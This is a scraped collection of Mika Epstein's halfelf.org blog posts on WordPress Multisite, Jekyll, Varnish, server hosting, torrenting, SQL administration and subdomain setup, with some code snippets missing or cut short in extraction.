Too many people see Multisite as a silver bullet that can do everything they need, only to find out they’ve bitten off more than they can chew, and now they have a site that is too big, too complicated, and too much of a hassle. Understanding what Multisite does out of the box, what it’s best at, and where it’s easily extendable will help you build the right site.
**Categories:** Video
**Tags:** multisite, wordpress
---
### [Torrenting](https://halfelf.org/2013/torrenting/)
**Published:** November 9, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Torrenting is really easy. It's also legal, depending on what you torrent.
**Content:**
I torrent.
Look. There are hundreds of legit reasons to do this. I’m not going to argue if it’s right or wrong, because we all know that taking something that people charge for, without paying, is called stealing. Let’s put that aside. I’ve got a torrent I want to download, because downloading this way will be faster than a normal FTP of a 1G file.
The first thing you need is a Torrent client. I like [uTorrent](http://www.utorrent.com/) personally, as it’s small and easy for me to use.
The next thing you need is a torrent file. Let’s say I want to get the DRM free music from SXSW. I could download them all one at a time, or I could use a torrent from
[](https://halfelf.org/wp-content/uploads/sites/2/2013/11/2005-sxsw.png)
That’s 2.6 gigs of music. And you’d think this would take a long time to download. You’d be wrong. What you download is “SXSW\_2005\_Showcasing\_Artists-Release\_1.torrent” and open that tiny file in your client.
uTorrent lets me select what files I want to download (all of them today):
[](https://halfelf.org/wp-content/uploads/sites/2/2013/11/uTorrent.png)
I click okay, and it starts to download. This is where it gets fun. The more people who are sharing this file, the faster my download goes.
[](https://halfelf.org/wp-content/uploads/sites/2/2013/11/utorrent-dowloading.png)
Here it is, trucking along at 1M a second and it’ll download in about 45 minutes. Just enough time for me to take a shower.
The magic in the torrent sauce is that instead of FTP where it’s one person asking one server for one file, this is a million people asking a million people for a file, as bits, not a file. So I can get one snippet of a file from Bob in Minnesota, and another from Arman in Atlanta. The more of us who download, the more of us who are sharing *what* we just downloaded!
But torrenting is really my favorite way to share large files to the masses. And yes, when I’m done downloading, I leave it up to ‘seed.’
I am aware, by the way, that as of 2010, SXSW was a little iffy about distribution via torrent, but it’s been three years and no one’s shut the site down. They’re all well aware of it so if no one’s been slapped with a C&D by now, they’re all okay. Anyway, all these songs are available to download off SXSW’s official site. The issue was with the distribution, which I can understand. I try really hard to only download legal files from legit sources, because I appreciate the value of the work that went into what I’m enjoying.
Now if you’ll excuse me, I have some new music to listen to!
**Categories:** How To
**Tags:** software
---
### [Dr. Jekyll and Ms. Hyde](https://halfelf.org/2014/dr-jekyll-and-ms-hyde/)
**Published:** February 19, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** "Helen and her damn thongs" is a line that remains stuck in my head forever. In this case, it's Jekyll and it's damn forks.
**Content:**
I like WordPress. I like the community and I like the way I can invite other people in on it. But. I wanted to run a site, a small site, with static content for the most part, no comments, and just the basics. So why not Jekyll? After all, I’m big on self-hosting, and while most people I know seem to be running Jekyll on GitHub, you know me. I want to do it myself, I want to have it all here.
Six drinks later…
My major issue with Jekyll is that the ‘Simple’ directions aren’t obvious the way everyone seems to think they are. I mean, yes, they’re simple, but they lead you to some pretty crazy misconceptions based on how websites and CMSs work, and have worked, for a long time. And given all the posts I’ve read about how terrible WordPress is, my remark on that is: No, Jekyll is not terrible, but it has an audience.
Look, of course WordPress can be terrible. So can your car. It’s all in how you use it, what you add on to it, and what you fuel it with. I have a lot of reasons to use WordPress, and I really like it for many reasons (least of which is if you asked me to explain Jekyll to someone who emails me a PDF of a Word Doc to post on WordPress… Well, yeah, no, it’s *not* simple.)
## Misconception: Where Do I Install Jekyll?
DaFUQ?
Okay… you think “Hey, Jekyll’s running my site so it’s all on Jekyll, right?” Nope! Jekyll is installed on my laptop. It’ll be used to create content that I will deploy *to* my website. Jekyll generates the webpages. Just bear with me. Yes, it also runs the site, but it doesn’t have to. In fact, it generates all of my pages into a subfolder called `_site`, which you can actually load as a webpage. If I copied all of that over to a folder, it’d work as is. So option one here is that I could just do that. But that’s not what I’d call ‘friendly’ and it means all my code has to be on the server where a sneaky person could go get it. Part of why Jekyll interested me is that it’s more secure by being a flat site.
Option two is to use a Jekyll ‘front end’ deployer, like [Octopress](http://octopress.org/) or [Prose](http://prose.io/). Option three was to stop and think “Maybe I just don’t get this and I should start simpler.” It’s very odd to me to have my ‘content’ on a server, but the ‘source’ not there. While if it’s just me running a site, that’s great. But as soon as I have to tell my dad to check code out… Maybe this is a bad idea. I don’t want end-users to have to learn all this. I want to tell them “Write your content. Save it here. Magic.”
## Revise: Needs vs Wants
When I get really bogged down in thoughts like this, I step back and ask my self “What are my needs?” That’s similar to asking “What problem am I trying to solve?” but it’s a little broader, as I may not have an actual problem, I may just need a small change.
I’m looking for a product with a small footprint, no comments, a way to subscribe to updates (RSS or email), separate content and design (so my writers don’t mess with the layout), and it needs to have a workflow that *does not* involve me having to teach svn or git commands to a music major. Oh and it has to be easy for me to upgrade (one click or git pull will do).
Say what you will that git is easy (it is for me, albeit sometimes confusing). It’s *not* necessary for everyone to learn. I really feel a journalist shouldn’t have to learn to use it in order to write content! Still, after banging my head on this, I finally decided I was making my life too complicated by trying to self host before I understood the actual workflow of the process. So I went one step further back and decided *not* to self host right now.
## KISS: GitPages
[Everyone uses GitHub Pages.](http://pages.github.com/) So fine, so will I. They walk you through the setup, so that’s nice. It was pretty painless to make a repo. But what did that have to do with Jekyll? I can edit everything within GitHub which is nice but I don’t want that. I wanted to learn Jekyll… Scroll to the bottom and there’s a nice graphic saying I can use Jekyll!

And they link to [the Jekyll quickstart](http://jekyllrb.com/docs/quickstart/). Okay, thank you, I can install Jekyll. How do I hook them up? I had to actually Google to find the link to [Using Jekyll with Pages](https://help.github.com/articles/using-jekyll-with-pages) and frankly, after reading it… I don’t want to. Oh I did it, but it’s not “simple.” It’s a total pain in the ass. It reminds me of the old MoveableType when you had to fuss with cgi-bin. It’s all manual. And this is fine for a dev, but I don’t want to have to install this on my Dad’s laptop. Did I mention he was on Windows?

So using this for a version controllable, static website, is actually far less tolerable than I wanted it to be. I can use it, I kind of understand it (the whole source folder is confusing me a little…) but it’s not something I could easily roll out to a medium-technical person without some serious training. In fact, I need some serious training to get good at just pushing my content, and when I compare that to WordPress…
I get why people like it, though. The static files alone are pretty cool, but it’s going to be a learning curve.
**Categories:** How To
**Tags:** cms, open source, website
---
### [Mailman Newsletter Widget](https://halfelf.org/2012/mailman-newsletter-widget/)
**Published:** April 18, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Adding in a mailman signup widget is so easy, I wonder why I never did it before!
**Content:**
I read [How to Add a Newsletter Signup Box After Your Posts](http://www.briangardner.com/newsletter-signup-box/) by Brian Gardner and thought to myself “Self,” I said, “I really would love to be able to add a signup widget for my mailman newsletter.”
And so I did. The following code is plain HTML. Just drop it into a text widget wherever you want it to show up, and magically it will. If you’re using a Genesis theme, this is your replacement for **Step 3**.
One important thing to note here, I wanted everyone to get the emails as they happened, no digest, so I set this: ``. If you want to make it an option, the down and dirty way is to use this:
The rest is pretty much Brian’s CSS, tweaked a little since my size requirements were different. Don’t change the ‘name’ values, as it makes Mailman cry. And how does it look?

Looks nice, don’t it?
**Categories:** How To
**Tags:** email, widget, wordpress
---
### [Smart Servers](https://halfelf.org/2011/smart-servers/)
**Published:** October 24, 2011
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Smart Servers are the new buzzword. A server that is semi-cloud-like, but still it's own master. What does it mean? Is this just another flash in the pan? I've decided to buy into it.
**Content:**
I upgraded the server that runs this site. Well, I should say I transferred from a traditional VPS on CentOS 4 32 bit server I’ve been on since 2009 to a CentOS 5, 64 bit, fully managed Smart Server.
What’s a Smart Server?
You know this whole [cloud hosting](https://halfelf.org/2010/what-is-cloud-hosting/) thing? It’s like that, but not. I had serious concerns about the cloud. Certainly I was worried when I heard people running WordPress MultiSite had weird issues with caching and things not syncing up when new server slices were made. Reason enough to hold off for me. But then my host says “We have these in-between servers.”
[LiquidWeb Smart Servers](http://www.liquidweb.com/SmartServers/?RID=JFO123) are kind of like Cloud Servers. First, I’m the only person on my server (which is a step up from VPS), and I have a set amount of bandwidth. I’m charged per-day, too, so if I need more CPU/Memory for a couple days, I only get charged for *those* days. That’s really nice. There’s a lot of normal ‘cloud’ features too, like I can spin up new images on the fly and use them (maybe 30 minutes total to do all that).
Yeah, 30 minutes. Thinking about how long it took to just *migrate* from host2 to gamera(Gamera (ガメラ?) is a giant, flying turtle from a popular series of kaiju (Japanese giant monster) films produced by Daiei Motion Picture Company in Japan. Created in 1965 to rival the success of Toho Studios’ Godzilla during the daikaiju boom of the mid-to-late 1960s, Gamera has gained fame and notoriety as a Japanese icon in his own right.), being able to move things around on the fly with only an hour of outage is nothing. When I moved my three WordPress sites, they took about an hour or so each (give or take). When I moved my forum with a 4gig database, it took about eight hours. We made jokes about how it was the size of Liechtenstein.(The problem with a 4gig database is when 400megs is in one table. Takes a long time, no matter what you do. The file copied over fast, but the exploding of it took long enough for me to nap.)
None of that was why I upgraded/moved though. The real reason for the upgrade was that my server’s been having weird issues, and most of my research said it was because I was on CentOS 4. I couldn’t upgrade SVN, I couldn’t upgrade PHP for much longer, and I was sure that come February 2012 (when CentOS 4 is EOLd) I was going to be increasingly in the cold. So I made a list of everything I’d ‘done’ to my server, all the upgrades and tweaks, and I went for broke.
For the most part, I can’t tell the difference between my old VPS and my new smart server other than the speed (much faster). What I did notice, and didn’t like, was that the memory tends to run ‘hot.’ With nothing going on at all, it was hitting 90% usage. With nothing going on for my old site, it’s at 50% (and normally hovered around 60-70%). Gamera definitely runs heavier, though I’m still using the old caching. I did have to up PHP memory to 64megs, from 32, after I ran into weird issues on one site, but for the most part, I’m in a ‘It Just Works’ state of mine. Oh and I will very much need to sort out external SSL, since everything’s on one IP now, and you can’t use multiple SSL like that.
Yet I’ve still not answered the question. What *is* a Smart Server anyway? Thankfully LiquidWeb isn’t the only site using this designation.
We know what Cloud Server is, and we know why it’s good. It’s flexible, it can add on memory and diskspace as I need it, and take it away if (when) I don’t. I’m charged for what I’m using, not a blanket ‘This is what I need on my worst day’ sort of deal. But the problem there is a lot of people actually need that flexibility but don’t have the brainpower to handle running their own server. Two years ago, I didn’t, that’s for sure. In fact, two years ago, Cloud scared me. But, just like VPS.net came up with Cloud Shared Hosting (which I jokingly called Cloud for Dummies), LiquidWeb and some other said that some of us really need a VPS, but we’d like some of those cloud features too.
This is the middle ground. Too many places were looking at Cloud Dedicated hosting, which is expensive, and not something we all need, and then was also that race to the cheap hosting. I pay $60 a month for my hosting, and it’s worth it. I know, it’s a lot of money to some people, but think on this: If I pick up the phone right now and call Tom, my sales guy, or Benny, the tech I know pretty well, they’ll take the time to help me. And if I call the 1-800 number at 1am? Someone is there who speaks English and knows what I’m talking about.(Not that I don’t love OffShore support, I know I love the ones at my office! Many of them are fantastic in their fields and well worth the price of admission. But too many companies force these intelligent people to stick to a script, and don’t teach them the hows and whys of the code, the company, and how to work with American customers. If you’re going to support Americans, you must learn how to deal with them, for better or for worse, you learn to deal with your customers. And yes, that means being fluent in their native language, and their technologies. This holds true for India, Mexico and that moron from Nebraska who wanted me to go into the registry on my Macintosh. AT&T.) So while I’m willing to pay more for someone who will bail me out, I’m *not* willing to pay more for something I don’t use. Like extra minutes on my cell phone, I don’t like to pay for hypothetical ‘in case I get the Digg effect or Matt links to me again’ CPU and memory.
While a Cloud Server would handle all that, it also requires consistent and constant management. You have to know what to expect, and be ready to go. Those of us who do all this as hobbies or as a side-gig don’t have the time. Also, sharing resources in the cloud makes some of us sketchy. The whole reason we self-host anyway is that we want to be in control. Cloud sharing started to sound a lot like Shared Hosting, which has issues of it’s own. Resource contention is s concern, as are bad neighbors. The cloud is great for hosts because it shares everything, and complicated for users because we don’t want to share.
It sounds a little repetitive to call this Cloud Light. In fact, it feels really repetitive to say “This is like a VPS, but with Cloud Add-ons.” Part of this is because understanding what the Cloud is, after decades of the old way, is hard for our brains to wrap around. For most of us, the cloud doesn’t matter. In fact, it barely matters for me. The cloud is really what the internet has always been to most of us: ephemeral and mystical. Don’t let the smoke out of the cloud, or your website will crash! See? You don’t know anything more than you did before, now do you?
The Cloud is synonymous with the Internet for many people, and I think the future of it is aimed that way. For me, having the ability not to be tied to hardware and to add on more space, memory and CPU as I need it is invaluable. Being priced reasonably for those things also makes me pleased. The Cloud gave me freedom, but a Smart Server gives me even more: the freedom to control my destiny on my server. And that’s just cool.
So what’s the downside? There are some.
Understanding memory usage has been the big issue. I mentioned before that Gamera uses 90% of the memory, *normally*, and after my database crash I came to understand why. See not being tied to hardware means I’m not tied to hardware memory either. So linux, being linux, uses up all the memory it can. I watched, and when I start doing more intensive stuff, like importing a 4G database, the memory *dropped* to about 75%, and then bounced back up to 80-90. This is what it’s supposed to do! When it starts running out of memory, it goes to swap. Now on the traditional VPS, this was bad. Swap meant you were ‘out’ of memory and about to crash. On a Smart VPS, this is okay. My swap sits around 10% right now until I clean it out.
Cleaning it out is where things get weird. Smart VPS memory doesn’t clean out. If I hot-swapped my memory, some genius at MIT sorted out I could actually read data off the memory. Of course, if you have the physical access to my server I have other problems. But swapping memory, well that means the computer *swaps* data to the hard disk and back to your RAM as needed. I’m not entirely sure how this all works, and I’m doing some research now (and asking the tech from last night for info he said he had about all this). As for the crash… My database crashed on Saturday because the table was 600mb, and the space I’d allocated for swapping like that was 400mb. Liquidweb’s support moved the SQL temp drive to a place with more space to allow for that and everything started working again.
SSL was pretty straightforward. I bought an extra IP, since it’s cheaper and easier than sorting out [multiple domains on 1-IP for SSL](https://halfelf.org/2011/request-multidomain-1ip-sslcert/) for only two domains. The other domains don’t *need* SSL yet, so they can wait until WHM catches up with SNI and other weird acronyms you don’t care about.
Basically, I’m very happy. I’ve even started to forget it’s something novel.
**Categories:** How It Works
**Tags:** cloud, essay, management, servers
---
### [Diving Into Varnish](https://halfelf.org/2014/caching-varnish/)
**Published:** July 14, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** A little dive into Varnish for Apache on the same server ends with being all wet.
**Content:**
We use it at DreamPress a lot, and I’m still learning its ways, but with me, the best way to learn a thing is to do a thing. So when I had a random server crash with nginxcp, I decided to play around and see about using Varnish on my server instead.

Varnish is an HTTP accelerator designed for content-heavy dynamic web sites (like WordPress). [Unlike nginx](https://halfelf.org/2014/nginx-proxy/ "Nginx Proxy"), there’s no support for SPDY or SSL, which I can’t use anyway unless I spring for another server in front of my Apache box to be a true nginx box. Since I wasn’t getting any benefits out of nginx for those, I’m not too worried about it here yet. Should the world go to SSL, then my POV will change. The Varnish gurus [aren’t fans of SPDY](https://www.varnish-cache.org/docs/trunk/phk/http20.html#spdy) as it happens, which I find fascinating.
Back on point. I’m going to use Varnish as a proxy, which means when someone comes to my server to ask for a file, Varnish will first check itself for a cache and then if it’s found, serve it without touching Apache. Apache is slow. This is good! While nginx can handle static files rather well, I found that where I ht slowness people told me to use a CDN. That’s nice, but I don’t want to right now, so it makes nginx less of a draw. On the other hand, Varnish will fill in the gap where Apache + mod\_php == poor static-file performance. And yes, I’m using mod\_php.
## Installing Varnish
First change Apache non-SSL port to 8080. I’m on WHM for this particular box, so I go to WHM -> Server Configurarion -> Tweak Settings and set value of field Apache non-SSL IP/port to 8080
Next I install the [Varnish RPM for RedHat REL6](https://www.varnish-cache.org/installation/redhat). This can be either Varnish 3x or 4x, but I picked the latest version.
Edit the config file – `/etc/sysconfig/varnish` – and set the `VARNISH_LISTEN_PORT` to 80.
Now we edit `/etc/varnish/default.vcl` with what we want.
Deep breath. A [whole heckuvalot changed](https://www.varnish-cache.org/docs/trunk/whats-new/upgrading.html) from 3.x to 4.x and it took me a couple hours to bang out, since my examples were all from Varnish 3.x. In the end, I made my own fork of DreamHost’s Varnish VCL. Grab my [Varnish VCL Collection](https://github.com/Ipstenu/varnish-vcl-collection) and I use the wordpress-example.vcl as my default. It’s a whole ‘nother post on how I did that one. A lot of trial and error.
The default VCL is skewed to WordPress in a specific way: If you’re logged in or have a cookie that isn’t the default WP cookie, or are on SSL, you *do not get cached pages*. This means my site will be slower for me.
## Configuring Your CMS
Speaking of WordPress… Here’s the major difference between it an nginx: I need a plugin for WordPress. I took over [Varnish HTTP Purge](https://wordpress.org/plugins/varnish-http-purge/) last year in order to fix it (instead of fork it) for DreamPress, and in doing so I’ve added a lot of little tweaks, like a ‘purge all’ feature and a button on the toolbar.
Oddly, this is the reason I *didn’t* want to use Varnish. Where nginx just works, needing a plugin means I have to either install and activate for everyone using WordPress or any other CMS on my system, or I have to figure out a way to not need a plugin? Oh, and I don’t *just* used WordPress. Ugh.
This is moderately trivial to do with [Mediawiki](https://www.mediawiki.org/wiki/Manual:Varnish_caching#Configuring_MediaWiki) but I came up full short when I looked at [Zenphoto](http://www.zenphoto.org/support/search.php?q=varnish). While I don’t post often to it (once a week generally), I do post a lot of data and I need the purge to be done. Certainly I could code in a system for it, like I did with WordPress, using a CURL call.
But it’s the *need* to do that for Varnish that made me make faces.
## Not using Varnish
At the end of the day, while I did get Varnish up and running, I chose not to use it. Yet. I have to overcome some hurdles with other apps not knowing how to play well with purging, and figure out how to command purges like I do with WordPress. You can see I have my work cut out for me porting a WordPress plugin to Zenphoto.
In addition, I’m not really sure I like the fact that I have to do that. Certainly I can just let the cache expire on it’s own, but that seems to somewhat defeat the purpose of having it be able to handle dynamism as well as it does if it can’t magically detect when my content changes, and the cache needs a bump.
**Categories:** How To
**Tags:** administration, cache, management, plugins
---
### [Woopra Gravatars](https://halfelf.org/2010/woopra-gravatars/)
**Published:** July 13, 2010
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** How to make Gravatars show up on Woopra for Theme Hybrid.
**Content:**
[](https://halfelf.org/wp-content/uploads/sites/2/2010/07/woopra.png) At one point, I used [Woopra](http://www.woopra.com/) to monitor my traffic. At the time, I also used [Gravatar](http://gravatar.org/) for avatars. Woopra has this awesome ability to show the gravatars of the person visiting, based on their email. Except it wasn’t working with my theme.
Normally I’d just slap this in my footer.php theme file to make gravatars show up in my Woopra console, but I happen to be using a Theme Parent (ThemeHybrid – which I’m also using here) and I don’t want to have to hack my theme any more than I have. The glorious thing is that Justin, in his wisdom, made a function I could plug into. So I made a new function (my\_woopra\_footer) which lets me extract the user’s email and ID name, parse it through, and spit back the right data. It’s weird, and I don’t suggest you use it unless you’re using Hybrid’s theme.
```
/* Woopra */
function my_woopra_footer() {
global $user_ID, $user_email, $user_identity;
echo "\n";
?>?
**Categories:** How To
**Tags:** analytics, gravatars, themes
---
### [bbPress 1.x Functions](https://halfelf.org/2010/bbpress-function/)
**Published:** July 13, 2010
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Some quick and dirty functions I came up with for the bbPress 1.x days.
**Content:**
*Since I don’t actively develop for bbPress 1.x at this time, you’re on your own with these ones.*
bbPress is a forum platform by the same people who do WordPress. It’s very much a barebones bulletin board system (which makes layers on layers of bb jokes). bbPress is not for the non-techy at this point. It’s still in alpha mode, with a lot of rough edges, and is comparable to WordPress 1. Maybe. Most of the features are done as plugins, rather than defaults, so you don’t get things like PMing and Quick Tags and inline images. You have to add in plugins for that. While I was using it, I wrote a few of my own plugins and hacks to make things work like I wanted.
All of these hacks can be directly applied to the functions.php file of your theme.
## Change ‘Sticky’ to an image
[](https://halfelf.org/wp-content/uploads/sites/2/2010/07/knotes.png) If you make a topic sticky it gets ‘pinned’ to the top of the forum. This great for things like announcements etc. It’s really annoying that it’s hard to change. I wanted a post-it image to show that it was pinned, so I made a function to delete the default function and replace it with my own.
This goes in your functions.php for your theme, just like it would for WordPress
## Change the text of a ‘Closed’ topic
[](https://halfelf.org/wp-content/uploads/sites/2/2010/07/books.png) By default when you close a topic it renames the topic to **Closed: Topic Name**. I wanted to change that to **Read Only: Topic Name**, so what I did was delete the old closed filter and replaced it with my own.
## Woopra
If you use Woopra to monitor traffic and Gravatar for icons, you may notice that just slapping Woopra’s tracker in the bottom of your site doesn’t show the Gravars. Since bbPress themeing is what it is, I put this in my theme’s footer.php file to make gravatars show up in my Woopra console. The trick was getting it to extract the logged in user’s email. So here it is. Put this in your footer file and Woopra will show gravatars.
**Categories:** How To
**Tags:** analytics, function, unsupported
---
### [Dig Yourself Out of a Hole - Multisite Edition](https://halfelf.org/2010/dig-yourself-out-of-a-hole-multisite-edition/)
**Published:** September 20, 2010
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Sometimes, when you're smart and savvy, you make changes that later on shoot yourself in the foot. Here's what I did, how I solved it, and how to use this as an example of why you just keep trying!
**Content:**
[](https://halfelf.org/wp-content/uploads/sites/2/2010/09/200px-Ocean_surface_wave_icon.svg_.png) When I started my first MultiSite install, I didn’t want Blog #1 to be the main ‘dashboard’ site. The reasons why don’t matter. What does is that when you make seemingly simple changes, you have to be aware of how things work, as a whole, and be willing to take risks to fix them.
Site #1 was my test site and has since been deleted
Site #2 was a vlog which still exists
Site #3 is my ‘main’ site, the front page of it all
Site #6 is my saved Tweets
Site #7 is a documentation site
Site #8 is to save my Formspring posts
I know it’s weird. Bear with me. At first I was going to use Site #1 as an ‘all posts!’ site, like Andrea suggests you do with sitewide tags plugin, but then I realized that I wanted a splash page and then some fancy ‘Hi! Welcome!’ stuff with links to the vlog, blog, etc. Once I decided I wanted site #3 to be the ‘main’ site, I made that switch by editing two things.
First I went into *Super Admin >> Options* and changed my main site to #3:
[](https://halfelf.org/wp-content/uploads/sites/2/2010/09/mainsite.png)
Then I edited my `wp-config.php` file to say:
```
define('SITE_ID_CURRENT_SITE', 3);
define('BLOGID_CURRENT_SITE', '3' );
```
Now to be honest, I think that I only need one of those, but I’m totally stumped about that now. At the time, I just saw they were both set to 1 and I changed them to 3. Everything worked! Great! This was done.
Then I went to create site #4. And it didn’t show up. So I made site #5, ditto. Decided that was weird as hell, I went into phpMyAdmin and after some poking around, deleting sites and re-adding, I found the wp\_blogs table and saw this:
[](https://halfelf.org/wp-content/uploads/sites/2/2010/09/wp_blogs-broken.png)
Rationalizing that since I could see Blogs 2 and 3, and their site\_id was 1, I changed it to this:
[](https://halfelf.org/wp-content/uploads/sites/2/2010/09/wp_blogs_before.png)
And again, things seemed to work just fine. Until I started trying to use the new iPad WordPress app. Or add anything to post to my blog. Like Formspring. Nothing worked. The blogs couldn’t be found, and third-party apps sometimes crashed. Again, I thought ‘Maybe the site\_id *should* be 3!’ So I changed it to this:
[](https://halfelf.org/wp-content/uploads/sites/2/2010/09/wp_blogs-after.png)
Not only did that not work, it broke things. Quickly, I changed it back and frowned. I was obviously missing something, but what!? I started looking around for all instances of site\_id and found the wp\_sitemeta table! Most of the entries had site\_id of 1, but some had 3.
[](https://halfelf.org/wp-content/uploads/sites/2/2010/09/wp_sitemeta-broke.png)
I changed the wp\_blogs table again, knowing it would break things, exported the whole wp\_sitemeta table as a backup, and then ran a quick SQL search and replace, changing 1 to 3 and got this:
[](https://halfelf.org/wp-content/uploads/sites/2/2010/09/wp_sitemeta-fixed.png)
Now the whole site worked from front and back end, so I went to Formspring and tried to add my site. And guess what? It worked! It also magically fixed my iPad/WordPress testing woes.
So the lessons learned are “Never give up!” and “Never make changes when you don’t know what you’re doing!” Actually, no, not that second one. The lesson is to be bold with your solutions. Don’t panic and be willing to take a risk. I took backups before I started playing around, and I knew at worst, I could restore my site in 30 minutes. Because I had an escape plan that took me back to where I was, I had no fears about my changes. When you have nothing to lose, that’s when you should jump forward and try something silly!
I doubt the actual details of all this will help you, since I don’t think anyone but me was boneheaded enough to screw around like this in the first place. But seeing that someone else has seriously screwed themselves up, shot themselves in the foot, and come out feeling super smart should, I hope, encourage you to stay calm, think it through, and make a stab at something that seems right. When the wave rocks your boat, hang on and don’t be afraid to swim a bit.
**Categories:** How To
**Tags:** database, multisite, wordpress
---
### [WordPress: Open Comments More Selectively](https://halfelf.org/2011/wordpress-open-comments-more-selectively/)
**Published:** April 18, 2011
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** If you want to enable comments on 'all' of your posts selectively, we can do that for ya!
**Content:**
There are a whole lot of tricks you can do with SQL to enable/disable comments.
If you want to turn them on for every single page, there’s this:
```
UPDATE wp_posts SET comment_status = 'open';
```
But me? I don’t like to blanket turn things on! I don’t like to have my pages allow comments, you see, so I use this instead:
```
UPDATE wp_posts SET comment_status = 'open' WHERE post_type = 'post';
```
I find this preferable than just opening it for everything (most people will tell you to omit the WHERE clause) since if you do that, you open comments for attachments, pages, CPTs and everything. Which I never want.
But what if you *did* open comments for everything and now you realized, oh snap!, you want to turn them off on attachment pages? That’s pretty easy:
```
UPDATE wp_posts SET comment_status = 'closed' WHERE post_type = 'attachment';
```
For more awesome SQL queries, check out [Digging into WordPress – Easy Comment Management via SQL](http://digwp.com/2010/08/wordpress-sql-comments/) or the incredible Andrea’s [How to Close Comments Across a MultiSite Network](http://wpmututorials.com/how-to/close-comments-across-the-network/).
**Categories:** How To
**Tags:** coding, database, wordpress
---
### [Making a Stand Alone SQL Account](https://halfelf.org/2012/stand-alone-sql-account/)
**Published:** May 3, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** A very simple thing you can do to make your sites more secure is to use a separate SQL user for your web apps.
**Content:**
One of the ways to secure your web apps is to limit the damage they can cause. When you create a database for a webapp, you have to provide a user ID and password to connect to the database, logically enough. Illogically, most people just use the same username and password they use to SSH into their server. After all, it works.
The obvious problem with this is that if someone gets access to your files (via a security hole in your webapp or your webhost), they now know your server password and ID, and can get in and cause serious damage.
But what if instead of using that normal ID and password, you made a special one that only was used for SQL. You couldn’t log in with it, you couldn’t FTP or anything except play with SQL. Then, even if they got in, they couldn’t delete your files! That’s really simple.
### cPanel
If you’re using cPanel, just go in to the **MySQL Databases** screen and add a new user. I like to use something totally obvious, so I can remember it, like `ipstenu_sql`.

For those passwords, I tend to use the generator to make something like `m}+akwQN=&)!`, not because I feel they’re more secure (I prefer pass-phrases, like ‘donkeyvanillatapdance’), but as a reminder for me not to use it for anything but SQL. Hang on to the password right now, though, you’ll want it in a minute.
Then you add the user to the databases. Back on the main MySQL page, there’s a little selection to **Add User to Database** which is really obvious to use. Pick your user and your database.

Clicking **Add** will take you to the privileges screen:

Give the user ALL privileges, as you may need this later on.
### Plesk
It’s just as easy in Plesk. Once your new database was created you, were automatically brought to the area to create the New Database User. If you didn’t do that, it’s okay, just go back the main database page and find the datase you want to add the user to (in this case, it’s LovePlesk\_NewDatabase). Click on the **Add New Database User** icon, fill in the information (remember to save your password!), and click okay.

Plesk should automatically grant the user ALL privileges.
### Updating Your WebApp
Once you have the new user made, all you have to do is edit your config file (i.e. `wp-config.php` for WordPress) to use the user and password, and hit save.
Now you’ve made your install a little more secure.
**Categories:** How To
**Tags:** administration, database, essay, security
---
### [WordPress Multisite Subdomains Without Wildcards](https://halfelf.org/2012/multisite-subdomains-wildcards/)
**Published:** September 19, 2012
**Author:** Ipstenu (Mika Epstein)
**Content:**
The easiest way to run a Multisite network with subdomains is to use wildcard subdomains, because they’ll automagically map anything.yourdomain.com to yourdomain.com and WordPress will in turn translate that for you.
When you’re on shared hosting, you can’t do that. But don’t worry! If you’re willing to do it manually, every time you have a new subdomain, you can still have subdomains! This is really easy, if weird.
Go to [manage domains on your Panel](https://panel.dreamhost.com/index.cgi?tree=domain.manage&) and click on ‘Add New Domain / Sub-Domain’
[](https://halfelf.org/wp-content/uploads/sites/2/2012/09/addnew.png)
Add your subdomain as ‘mysub.yourdomain.com’ and check the box to remove www (it’s a subdomain, you don’t need it, and it causes weird issues with some plugins).
Set the Web Directory to where you have your main domain installed (normally this will be `/home/username/yourdomain.com` ) – yes, I really mean exactly the same. This is what wildcards do for you, but since you don’t have it, you need to do this. It should look like this:
[](https://halfelf.org/wp-content/uploads/sites/2/2012/09/settings.png)
That’s it! Now you just scroll down and press **Fully Host This Domain** and wait till it’s provisioned. Once that’s done, you can go to mysub.yourdomain.com and it will take you to yourdomain.com! Add in a subdomain within WordPress called ‘mysub’ and everything will work exactly like it should.
**Categories:** How To
**Tags:** domain, multisite, wordpress
---
### [phpMyAdmin vs CMS](https://halfelf.org/2012/phpmyadmin-vs-cms/)
**Published:** October 3, 2012
**Author:** Ipstenu (Mika Epstein)
**Content:**
By ‘CMS’ I mean WordPress, Drupal, whatever.
So here’s a funny. I moved my DreamHost site to a VPS, so I could learn nginx (I’m still a newb) and suddenly I couldn’t get to my phpMyAdmin anymore! Before someone says it’s DreamHost’s fault, this is actually due to how I installed subdomains (which I don’t recommend) and configured nginx (still optomizing). That said, not every CMS is flexible enough for this, so if you have this problem too, here’s a work-around.
As you know, you’re supposed to go to `http://mysql.elftest.net` which then sends you to `http://elftest.net/dh_phpmyadmin/mysql.elftest.net/` to get to your phpMyAdmin page. Except it gives you a 404 styled like your site instead.
Solution? Make a fake subdomain.
I made db.elftest.net (which has nothing), but now I can go to `http://db.elftest.net/dh_phpmyadmin/mysql.elftest.net/` and log in!
How I buggered my subdomains, and how I fixed it, is another post.
**Categories:** How It Is
**Tags:** database, domain
---
### [Subdomains Back Where They Belong](https://halfelf.org/2012/moving-subdomains/)
**Published:** October 11, 2012
**Author:** Ipstenu (Mika Epstein)
**Content:**
In my last post, I talked about how I did something dumb with my subdomains.
How *did* I install subdomains?
Stupidly. Or rather, stupid for DreamHost. See, many other hosts, when you make a subdomain, come up with this structure for your files:
So when I made my subs, I made them similar to that. What DreamHost does is this:
I suggest you do the default! If you didn’t, however, there is a way to fix it. It’s a two step process.
1\) **Move the files.**
I found it easier to do this in Unix `$ mv elftest.net/trunk trunk.elftest.net` (this moves and renames all in one). If you wanted to do it via FTP, just drag and drop, then rename.
2\) **Change the location in Panel.**
Go into your panel, edit the domain, and change `elftest.net/trunk`:
[](https://halfelf.org/wp-content/uploads/sites/2/2012/10/before.png)
To `trunk.elftest.net`:
[](https://halfelf.org/wp-content/uploads/sites/2/2012/10/after.png)
Give it 5 to 10 minutes, and you’re done!
